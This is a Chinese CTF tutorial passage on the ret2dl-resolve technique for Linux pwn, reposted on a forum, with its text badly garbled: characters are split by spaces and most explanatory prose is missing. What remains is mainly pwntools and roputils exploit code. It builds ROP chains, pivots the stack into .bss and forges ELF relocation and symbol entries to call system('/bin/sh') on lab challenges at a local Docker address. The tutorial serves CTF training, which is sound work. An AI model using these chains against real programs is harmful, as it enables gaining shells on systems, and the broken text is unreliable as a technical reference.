[19536] 2019-10-10_CTF丨LinuxPwn入门教程:针对函数重定位流程的相关测试(下)

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2019-10-10_CTF丨LinuxPwn入门教程:针对函数重定位流程的相关测试(下) C T F L i n u x   P w n i   2 0 1 9 - 1 0 - 1 0 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n i L i n u x   P w n 2 0 3 2 r e t 2 d l - r e s o l v e + w r i t e s y s t e m g o t w r i t e s y s t e m
d y n s t r . r e l . p l t .   . d y n s y m   . d y n s t r r e l o c _ a r g E l f 3 2 _ R e l E l f 3 2 _ S y m r e l o c _ a r g 使 E l f 3 2 _ S y m . s t _ n a m e s y s t e m 0 x 0 8 0 4 8 3 4 B b s s 便 R O P # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( o s   =   ' l i n u x ' ,   a r c h   =   ' i 3 8 6 ' ) s t a r t _ a d d r   =   0 x 0 8 0 4 8 3 5 0 r e a d _ p l t   =   0 x 0 8 0 4 8 3 1 0 w r i t e _ p l t   =   0 x 0 8 0 4 8 3 4 0 w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g   =   0 x 0 8 0 4 8 3 4 b l e a v e _ r e t   =   0 x 0 8 0 4 8 4 8 2 p o p 3 _ r e t   =   0 x 0 8 0 4 8 5 1 9 p o p _ e b p _ r e t   =   0 x 0 8 0 4 8 5 1 b n e w _ s t a c k _ a d d r   =   0 x 0 8 0 4 a 2 0 0                                                                                                                 # b s s g o t _ d l _ f i x u p b s s i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   ' A ' * 1 4 0                                                                                                                                                 # p a d d i n g p a y l o a d   + =   p 3 2 ( r e a d _ p l t )                                                                                                                 # r e a d l e a v e ;   r e t n r e t 0 p a y l o a d   + =   p 3 2 ( p o p 3 _ r e t )                                                                                                                 # r e a d
w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g P L T [ 0 ] P L T [ 0 ] p a y l o a d   + =   p 3 2 ( 0 )                                                                                                                                                 # f d   =   0 p a y l o a d   + =   p 3 2 ( n e w _ s t a c k _ a d d r )                                                                                                 # b u f   =   n e w _ s t a c k _ a d d r p a y l o a d   + =   p 3 2 ( 0 x 4 0 0 )                                                                                                                                                 # s i z e   =   0 x 4 0 0 p a y l o a d   + =   p 3 2 ( p o p _ e b p _ r e t )                                                                                                                 # e b p l e a v e e b p e s p p a y l o a d   + =   p 3 2 ( n e w _ s t a c k _ a d d r )                                                                 p a y l o a d   + =   p 3 2 ( l e a v e _ r e t ) i o . s e n d ( p a y l o a d )                                                                                                                                                 # 使 p a y l o a d r e a d p a y l o a d   =   " " p a y l o a d   + =   " A A A A "                                                                                                                                                 # l e a v e   =   m o v   e s p ,   e b p ;   p o p   e b p p o p   e b p p a y l o a d   + =   p 3 2 ( w r i t e _ p l t _ w i t h o u t _ p u s h _ r e l o c _ a r g )                 # w r i t e r e l o c _ a r g p a y l o a d   + =   p 3 2 ( 0 x 1 8 )                                                                                                                                 # w r i t e r e l o c _ a r g w r i t e p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )                                                                                                                 # s t a r t p a y l o a d   + =   p 3 2 ( 1 )                                                                                                                                                 # f d   =   1 p a y l o a d   + =   p 3 2 ( 0 x 0 8 0 4 8 0 0 0 )                                                                                                                 # b u f   =   E L F w r i t e E L F p a y l o a d   + =   p 3 2 ( 4 )                                                                                                                                                 # s i z e   =   4 i o . s e n d ( p a y l o a d )
_ d l _ f i x u p g o t g o t b s s b s s p w n   i t 6 4 r e t 2 d l - r e s o l v e w r i t e _ g o t   =   0 x 0 8 0 4 a 0 1 8                 n e w _ s t a c k _ a d d r   =   0 x 0 8 0 4 a 5 0 0                                                 # b s s g o t _ d l _ f i x u p b s s r e l p l t _ a d d r   =   0 x 0 8 0 4 8 2 b 0                                                 # . r e l . p l t E l f 3 2 _ R e l r e l o c _ a r g d y m s y m _ a d d r   =   0 x 0 8 0 4 8 1 c c                                                 # . d y n s y m E l f 3 2 _ S y m E l f 3 2 _ R e l . r _ i n f o d y n s t r _ a d d r   =   0 x 0 8 0 4 8 2 2 c                                                 # . d y n s t r s y s t e m E l f 3 2 _ S y m . s t _ n a m e f a k e _ E l f 3 2 _ R e l _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 5 0                 # E l f 3 2 _ R e l 8 f a k e _ E l f 3 2 _ S y m _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 5 c                 # E l f 3 2 _ R e l E l f 3 2 _ S y m 0 x 1 0 b i n s h _ a d d r   =   n e w _ s t a c k _ a d d r   +   0 x 7 4                                                 # / b i n / s h x 0 0 f a k e _ r e l o c _ a r g   =   f a k e _ E l f 3 2 _ R e l _ a d d r   -   r e l p l t _ a d d r                 # r e l o c _ a r g f a k e _ r _ i n f o   =   ( ( f a k e _ E l f 3 2 _ S y m _ a d d r   -   d y m s y m _ a d d r ) / 0 x 1 0 )   < <   8   |   0 x 7   # r _ i n f o E l f 3 2 _ S y m 0 x 7 f a k e _ s t _ n a m e   =   n e w _ s t a c k _ a d d r   +   0 x 6 c   -   d y n s t r _ a d d r                                 # E l f 3 2 _ S y m s y s t e m f a k e _ E l f 3 2 _ R e l _ d a t a   =   " " f a k e _ E l f 3 2 _ R e l _ d a t a   + =   p 3 2 ( w r i t e _ g o t )                                                                                 # r _ o f f s e t   =   w r i t e _ g o t g o t 访 f a k e _ E l f 3 2 _ R e l _ d a t a   + =   p 3 2 ( f a k e _ r _ i n f o ) f a k e _ E l f 3 2 _ S y m _ d a t a   =   " " f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( f a k e _ s t _ n a m e ) f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 )                                                                                                                 # w r i t e E l f 3 2 _ S y m f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 ) f a k e _ E l f 3 2 _ S y m _ d a t a   + =   p 3 2 ( 0 x 1 2 )
3 2 6 4 _ d l _ f i x u p g l i b c / s y s d e p s / x 8 6 _ 6 4 / d l - r u n t i m e . c r e l o c _ o f f s e t r e l o c _ i n d e x r e l o c _ a r g 3 2 E l f 3 2 _ R e l E l f 6 4 _ R e l a ,   E l f 3 2 _ S y m E l f 6 4 _ S y m 0 x 1 8 _ d l _ r u n t i m e _ r e s o l v e g l i b c / s y s d e p s / x 8 6 _ 6 4 / d l - t r a m p o l i n e . h _ d l _ f i x u p 6 4 r e t 2 d l - r e s o l v e # d e f i n e   r e l o c _ o f f s e t   r e l o c _ a r g   *   s i z e o f   ( P L T R E L ) # d e f i n e   r e l o c _ i n d e x     r e l o c _ a r g # i n c l u d e   < e l f / d l - r u n t i m e . c > t y p e d e f   s t r u c t {     E l f 6 4 _ A d d r                 r _ o f f s e t ;                                 / *   A d d r e s s   * /     E l f 6 4 _ X w o r d                 r _ i n f o ;                                                 / *   R e l o c a t i o n   t y p e   a n d   s y m b o l   i n d e x   * /     E l f 6 4 _ S x w o r d                 r _ a d d e n d ;                                 / *   A d d e n d   * / }   E l f 6 4 _ R e l a ; t y p e d e f   s t r u c t {     E l f 6 4 _ W o r d                 s t _ n a m e ;                                 / *   S y m b o l   n a m e   ( s t r i n g   t b l   i n d e x )   * /     u n s i g n e d   c h a r                 s t _ i n f o ;                                 / *   S y m b o l   t y p e   a n d   b i n d i n g   * /     u n s i g n e d   c h a r   s t _ o t h e r ;                                 / *   S y m b o l   v i s i b i l i t y   * /     E l f 6 4 _ S e c t i o n                 s t _ s h n d x ;                                 / *   S e c t i o n   i n d e x   * /     E l f 6 4 _ A d d r                 s t _ v a l u e ;                                 / *   S y m b o l   v a l u e   * /     E l f 6 4 _ X w o r d                 s t _ s i z e ;                                 / *   S y m b o l   s i z e   * / }   E l f 6 4 _ S y m ;
使 r e l o c - > r _ i n f o n d x l i n k _ m a p l _ v e r s i o n s v e r s i o n s y m r _ i n f o 3 2   r e l o c - > r _ i n f o 2 4 v e r n u m v e r n u m 0 x 0 0 r e l o c - > r _ i n f o 2 4 v e r n u m n d x 0 n d x l _ v e r s i o n s I D A _ d l _ f i x u p i f   ( l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ]   ! =   N U L L )             i f   ( l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ]   ! =   N U L L )                 {                     c o n s t   E l f W ( H a l f )   * v e r n u m   =                         ( c o n s t   v o i d   * )   D _ P T R   ( l ,   l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] ) ;                     E l f W ( H a l f )   n d x   =   v e r n u m [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ]   &   0 x 7 f f f ;                     v e r s i o n   =   & l - > l _ v e r s i o n s [ n d x ] ;                     i f   ( v e r s i o n - > h a s h   = =   0 )                         v e r s i o n   =   N U L L ;                 }
m o v z x   e d x ,   w o r d   p t r   [ e d x + e s i * 2 ] e d x 0 x 0 8 0 4 8 2 7 c ,   e d x + e s i * 2   =   0 x 0 8 0 4 8 2 8 4 0 x 0 8 0 4 b 0 0 0 e s i r e l o c - > r _ i n f o 2 4 0 x 1 6 c 2 . d y m s y m . b s s
e d i   =   0 x f 7 f a 9 9 1 8 [ e d i + 1 7 0 h ] 0 X f 7 f 7 e b 0 8 0 x f 7 f a a 0 0 0 m o v   e c x ,   [ e d x + 4 ] e d x ( 0 x f 7 f a a 0 0 0 - 0 x f 7 f 7 e b 0 8 ) / 0 x 1 0   =   0 x 2 b 4 f v e r s i o n   =   & l - > l _ v e r s i o n s [ n d x ] ; 访 0 x 0 8 0 4 8 2 7 c ~ 0 x 0 8 0 4 b 0 0 0 2 w o r d 3 2 r e t 2 d l - r e s o l v e 6 4 ~ / X M A N   2 0 1 6 - l e v e l 3 _ 6 4 / l e v e l 3 _ 6 4 b s s 0 x 6 0 0 0 0 0 d y n s y m 0 x 4 0 0 0 0 0 r _ i n f o v e r n u m 0 x 4 0 0 0 0 0 v e r n u m [ E L F W ( R _ S Y M )   ( r e l o c - > r _ i n f o ) ] 0 x 4 0 0 0 0 0 ~ 0 x 6 0 0 0 0 0 使 l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] 0 l - > l _ i n f o [ V E R S Y M I D X   ( D T _ V E R S Y M ) ] 6 4 l i n k _ m a p + 0 x 1 c 8 ( 3 2 l i n k _ m a p + 0 x e 4 ) l i n k _ m a p l i n k _ m a p 0 6 4 r e t 2 d l - r e s o l v e 3 2 r e t 2 d l - r e s o l v e e x p r e t 2 d l - r e s o l v e F u l l   R E L R O ( F u l l   R E L R O _ d l _ f i x u p ) ( s t a c k   p i v o t ) 6 4 r e t 2 d l - r e s o l v e l i n k _ m a p 3 2 使 使 R O P u t i l s 3 2 6 4 p a y l o a d R O P u t i l s ( h t t p s : / / g i t h u b . c o m / i n a z 2 / r o p u t i l s ) r o p u t i l s . p y 西 R O P * F o r m a t S t r R O P u t i l s r e t 2 d l - r e s o l v e
r o p u t i l s . p y 使 ~ / X M A N   2 0 1 6 - l e v e l 3 / l e v e l 4 f a k e   d l - r e s o l v e l i n k _ m a p _ d l _ f i x u p r e a d l i n k _ m a p . b s s 使 i o . i n t e r a c t ( 0 ) s h e l l r o p u t i l s g i t h u b e x a m p l e s r o p u t i l s f r o m   r o p u t i l s   i m p o r t   * # 使 r o p u t i l s 使 p w n t o o l s i m p o r t   r o p u t i l s i m p o r t   p w n 使 r o p u t i l s R O P p w n t o o l s R O P r o p   =   R O P ( ' . / l e v e l 4 ' )                                                 # R O P E L F s e c t i o n ,   g o t ,   p l t b s s _ a d d r   =   r o p . s e c t i o n ( ' . b s s ' ) r e a d _ g o t   =   r o p . g o t ( ' r e a d ' ) r e a d _ p l t   =   r o p . p l t ( ' r e a d ' ) o f f s e t   =   1 4 0 i o   =   P r o c ( h o s t   =   ' 1 7 2 . 1 7 . 0 . 2 ' ,   p o r t   =   1 0 0 0 1 )                 # r o p u t i l s b u f   =   r o p . f i l l ( o f f s e t )                                                 # f i l l b u f   + =   r o p . c a l l ( r e a d _ p l t ,   0 ,   b s s _ a d d r ,   0 x 1 0 0 )                 # c a l l p l t 便 b u f   + =   r o p . d l _ r e s o l v e _ c a l l ( b s s _ a d d r + 0 x 2 0 ,   b s s _ a d d r )                 # d l _ r e s o l v e _ c a l l b a s e * a r g s b a s e l i n k _ m a p * a r g s " / b i n / s h x 0 0 " b s s _ a d d r l i n k _ m a p b s s _ a d d r + 0 x 2 0 i o . w r i t e ( b u f ) d l _ r e s o l v e _ d a t a l i n k _ m a p b u f   =   r o p . s t r i n g ( ' / b i n / s h ' )                               b u f   + =   r o p . f i l l ( 0 x 2 0 ,   b u f )                                 # f i l l b u f   + =   r o p . d l _ r e s o l v e _ d a t a ( b s s _ a d d r + 0 x 2 0 ,   ' s y s t e m ' )                 # d l _ r e s o l v e _ d a t a l i n k _ m a p b u f   + =   r o p . f i l l ( 0 x 1 0 0 ,   b u f ) i o . w r i t e ( b u f )
. d y n a m i c . d y n s t r 3 2 r e t 2 d l - r e s o l v e , E L F . r e l . p l t .   . d y n s y m   . d y n s t r E L F . d y n a m i c . d y n s t r R E L R O ( c h e c k s e c N o   R E L R O ) . d y n a m i c P a r t i a l   R E L R O F u l l   R E L R O . d y n a m i c r e a d e l f . d y n a m i c E l f 3 2 / 6 4 _ D y n g l i b c / e l f / e l f . h
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则